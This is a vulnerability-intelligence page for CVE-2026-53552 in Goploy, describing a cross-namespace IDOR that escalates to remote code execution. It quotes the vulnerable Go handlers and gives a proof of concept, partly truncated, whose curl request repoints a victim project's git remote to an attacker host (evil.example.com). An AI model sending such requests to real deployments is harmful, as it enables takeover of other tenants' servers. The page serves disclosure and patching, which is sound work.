KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 16:01 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-53552

Goploy: Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers

`Project.AddFile`, `Project.EditFile`, `Project.RemoveFile`, and `Project.Edit` in `cmd/server/api/project/handler.go` accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding `model.ProjectFile.

At a glance

Exploited
Not known
Severity
9.6 Critical (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: github.com/zhenorzz/goploy: 1.18.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-26rh-24rg-j3vv (opens a new tab)

What happened

### Summary

`Project.AddFile`, `Project.EditFile`, `Project.RemoveFile`, and `Project.Edit` in `cmd/server/api/project/handler.go` accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding `model.ProjectFile.GetData` and `model.Project.GetData` queries filter only by row id.

A user holding the `manager` role (or any role that includes the `FileSync` / `EditProject` permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project's git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because `Edit` runs `git remote set-url` on the project's working tree.

### Affected

Continue reading

`zhenorzz/goploy` `develop` HEAD as of 2026-05-27. Verified against the `zhenorzz/goploy:1.17.5` Docker image (`docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44`).

The four handlers and the model lookups have been in this shape across the file API and project metadata API.

### Vulnerable code

`cmd/server/api/project/handler.go::AddFile` (creates file under any project's directory; body controls `projectId`):

```go func (Project) AddFile(gp *server.Goploy) server.Response { type ReqData struct { ProjectID int64 `json:"projectId" validate:"required,gt=0"` Content string `json:"content" validate:"required"` Filename string `json:"filename" validate:"required"` } var reqData ReqData if err := gp.Decode(&reqData); err != nil { ... }

filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename) // ... os.Create(filePath); file.WriteString(reqData.Content) id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow() } ```

`cmd/server/api/project/handler.go::EditFile` (overwrites file content; body controls file id, server derives project from the file row):

```go func (Project) EditFile(gp *server.Goploy) server.Response { type ReqData struct { ID int64 `json:"id" validate:"required,gt=0"` Content string `json:"content" validate:"required"` } var reqData ReqData if err := gp.Decode(&reqData); err != nil { ... }

projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData() // ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)) file.WriteString(reqData.Content) } ```

`cmd/server/api/project/handler.go::RemoveFile` (deletes file row + on-disk file by body id):

```go func (Project) RemoveFile(gp *server.Goploy) server.Response { type ReqData struct { ProjectFileID int64 `json:"projectFileId" validate:"required,gt=0"` } var reqData ReqData if err := gp.Decode(&reqData); err != nil { ... } projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData() if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... } } ```

`cmd/server/api/project/handler.go::Edit` (updates any project's metadata; on URL change runs `git remote set-url` in the project working tree):

```go func (Project) Edit(gp *server.Goploy) server.Response { // ... ReqData has ID, Name, URL, Branch, Script, etc. projectData, err := model.Project{ID: reqData.ID}.GetData() model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow() if reqData.URL != projectData.URL { srcPath := config.GetProjectPath(projectData.ID) cmd := exec.Command("git", "remote", "set-url", "origin", reqData.URL) cmd.Dir = srcPath } } ```

`internal/model/project_file.go::ProjectFile.GetData` filters only by row id, no namespace join:

```go func (pf ProjectFile) GetData() (ProjectFile, error) { err := sq. Select("id, project_id, filename, insert_time, update_time"). From(projectFileTable). Where(sq.Eq{"id": pf.ID}). ... } ```

`internal/server/route.go::Route.hasPermission` checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to `gp.Namespace.ID`:

```go func (r Route) hasPermission(permissionIDs map[int64]struct{}) error { if len(r.permissionIDs) == 0 { return nil } for _, permissionID := range r.permissionIDs { if _, ok := permissionIDs[permissionID]; ok { return nil } } return errors.New("no permission") } ```

### Reachable

Any logged-in user assigned the `manager` role in their own namespace can call `/project/addFile`, `/project/editFile`, `/project/removeFile`, and `/project/edit`. The seeded `manager` role (`role.id = 1`) is granted both `FileSync` (`permission.id = 68`) and `EditProject` (`permission.id = 17`) by `database/goploy.sql`.

Multi-tenant deployments typically assign `manager` to each tenant's project owner; once a tenant's manager holds these permissions in their own namespace, they hold them globally for these four endpoints.

### Proof of concept

Setup against the published Docker image:

```bash docker network create goploy-net docker run -d --name goploy-mysql --network goploy-net \ -e MYSQL_ROOT_PASSWORD=goploy123 -e MYSQL_DATABASE=goploy \ mysql:8.0 --default-authentication-plugin=mysql_native_password

# Wait for MySQL, then load schema docker cp database/goploy.sql goploy-mysql:/tmp/goploy.sql docker exec goploy-mysql sh -c 'mysql -uroot -pgoploy123 goploy remote set-url origin ` and clones / pulls attacker code, leading to RCE under goploy's user:

```bash curl -s $BOB_HDR -X PUT http://localhost:18080/project/edit \ -d '{"id":1,"name":"alice-prod","repoType":"git", "url":"git@evil.example.com:attacker/payload.git", "path":"/tmp/deploy/alice","environment":1,"branch":"master", "transferType":"rsync","transferOption":"-rtv","deployServerMode":"serial", "script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""}, "deployFinish":{"mode":"","content":""}}}' # → {"code":0,"message":"","data":null}

docker exec goploy-mysql

Affected package ranges reported by GitHub: github.com/zhenorzz/goploy: <= 1.17.5

Scores and how they were measured

CVSS base severity

9.6

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-26rh-24rg-j3vv (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-26rh-24rg-j3vv, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). Goploy: Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers (CVE-2026-53552). https://kevwire.com/record/CVE-2026-53552

MLA

"Goploy: Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers (CVE-2026-53552)." KEVWire, 27 Oct. 2026, kevwire.com/record/CVE-2026-53552.

Chicago

KEVWire. "Goploy: Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers (CVE-2026-53552)." Last modified October 27, 2026. https://kevwire.com/record/CVE-2026-53552.

Evidence summary (plain text)

Goploy: Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers (Jul 7, 2026).
`Project.AddFile`, `Project.EditFile`, `Project.RemoveFile`, and `Project.Edit` in `cmd/server/api/project/handler.go` accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding `model.ProjectFile.GetData` and `model.Project.GetData` queries filter only by row id. A user holding the `manager` role (or any role that includes the `FileSync` / `EditProject` permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project's git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because `Edit` runs `git remote set-url` on the project's working tree.

`zhenorzz/goploy` `develop` HEAD as of 2026-05-27. Verified against the `zhenorzz/goploy:1.17.5` Docker image (`docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44`).
CVSS 9.6 (version 3.1; evidence as of Oct 27, 2026; https://github.com/advisories/GHSA-26rh-24rg-j3vv).
Sources:
GitHub-reviewed advisory GHSA-26rh-24rg-j3vv: https://github.com/advisories/GHSA-26rh-24rg-j3vv
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-53552.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 16:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail